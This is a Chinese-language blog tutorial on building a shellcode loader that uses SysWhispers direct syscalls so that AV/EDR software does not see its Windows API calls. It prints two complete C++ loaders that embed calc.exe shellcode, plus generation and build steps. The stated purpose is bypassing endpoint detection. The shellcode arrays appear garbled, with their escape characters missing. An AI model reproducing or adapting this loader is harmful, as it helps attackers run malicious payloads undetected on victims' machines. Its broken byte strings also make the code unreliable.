前言
为了应对,AV/EDR对一些常规windows的api的监控,使用的github项目为Syswhispers,其实CS官方有个付费工具包叫 CobaltStrike Artifact,可以定制化生成有效负载,当然其中也包括了使用系统调用,替换掉beacon里面的api函数,当然付费真的用不起,对于穷人来说,只能靠手动冲!
实现
在此之前,我们得想一想我们该替换什么api,我们需要用到什么api,看以下加载器的示例:
代码语言:javascript复制#include <iostream>
#include <Windows.h>
unsigned char calc_payload[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";
unsigned int calc_len = 276;
int main()
{
DWORD oldprotect = 0;
LPVOID base_addr = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(base_addr, calc_payload, calc_len);
auto vp = VirtualProtect(base_addr, calc_len, PAGE_EXECUTE_READ, &oldprotect);;
auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
WaitForSingleObject(ct, -1);
free(base_addr);
}
上面加载器代码使用了VirtualAlloc,VirtualProtect,CreateThread三个常用的Windows api,也是edr最常关注的api,对于这些函数,实际上很容易搜索到,最终调用 kernel32 中的NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx函数。
我们利用Syswhispers,就不用自己去找系统调用号了,完全可以忽视这个步骤,直接一键生成相关的.asm和.h 文件。
代码语言:javascript复制python3 Syswhispers.py -f NtCreateThreadEx,NtProtectVirtualMemory,NtAllocateVirtualMemory -o syscal
这里为啥需要.asm文件:
- 在X86平台上,我们应该使用混编方式执行汇编指令;
- 在X64平台上,我们应该使用.asm文件添加汇编函数。
这时候就需要判断位数,为了让一段包含汇编指令的代码能够同时在X86和X64平台上编译通过,我们要有办法让编译器自己判断硬件平台。编译器提供了名为_M_AMD64的宏,只有在X64平台上,这个宏才是被定义的
代码语言:javascript复制#ifdef _M_AMD64
// 这是x64平台
#else
// 这是x86平台
#endif
还有一种写法:
代码语言:javascript复制#include <windows.h>
#ifdef _AMD64_
// 这是x64平台
#else
// 这是x86平台
#endif
但是这里用不上,我只是想说.asm文件完全可以不用,可以用内联汇编的方式进行编译。
首先,确保你当前的平台是x64平台。切记不要对x86平台下的.asm文件做任何修改,因为.asm文件在x86平台上是无法编译的,添加asm文件,是添加项目,而不是复制粘贴,然后点击属性,进行如下配置:
首先在“命令行”项中,我们应当输入指定的编译语句:ml64 /c %(fileName).asm。这条命令的意思是使用ml64.exe对.asm文件进行编译,在“输出”项中,我们设定输出文件为:%(fileName).obj,即编译后所生成的中间文件,编译的项目就包含了.asm文件了,看一下头文件的定义:
发现NtAllocateVirtualMemory和 NtProtectVirtualMemory 都需要一个ProcessHandle,我们用如下代码获得当前进程句柄。
代码语言:javascript复制HANDLE hProc = GetCurrentProcess();
同理NtProtectVirtualMemory也好替换。
最难的是NtCreateThreadEx,其实之前我们跟过流程的人都知道,在调用NtCreateThreadEx会设置很多环境变量,他的定义如下:
代码语言:javascript复制EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
我们必须创建一个新的 HANDLE 变量:
代码语言:javascript复制HANDLE thandle = NULL;
调用实例:
代码语言:javascript复制NTSTATUS ct = NtCreateThreadEx(
&thandle,
GENERIC_EXECUTE,
NULL,
hProc,
base_addr,
NULL,
FALSE,
0,
0,
0,
NULL
);
然后完整代码:
代码语言:javascript复制#include "syscall.h"
#include <Windows.h>
#include<stdio.h>
unsigned char calc_payload[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";
unsigned int calc_len = 276;
int main()
{
DWORD oldprotect = 0;
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
HANDLE thandle = NULL;
NTSTATUS NTAVM = NtAllocateVirtualMemory(
hProc,
&base_addr,
0,
(PSIZE_T)&calc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
RtlMoveMemory(base_addr, calc_payload, calc_len);
NTSTATUS NTPVM = NtProtectVirtualMemory(
hProc,
&base_addr,
(PSIZE_T)&calc_len,
PAGE_EXECUTE_READ,
&oldprotect);
NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
if (ct == 0)
{
printf("[*] -- shellcode start succesful!");
free(base_addr);
return 0;
}
printf("[*] -- shellcode start error!");
free(base_addr);
return 1;
}
演示,有手就行:
杀软咱就不测了,自行下去测试,咱就是讲思路,手把手教你使用系统调用绕edr,有些系统调用api Syswhispers没有,那么就只能自己去跟,然后去找系统调用号,预计下篇进行讲解。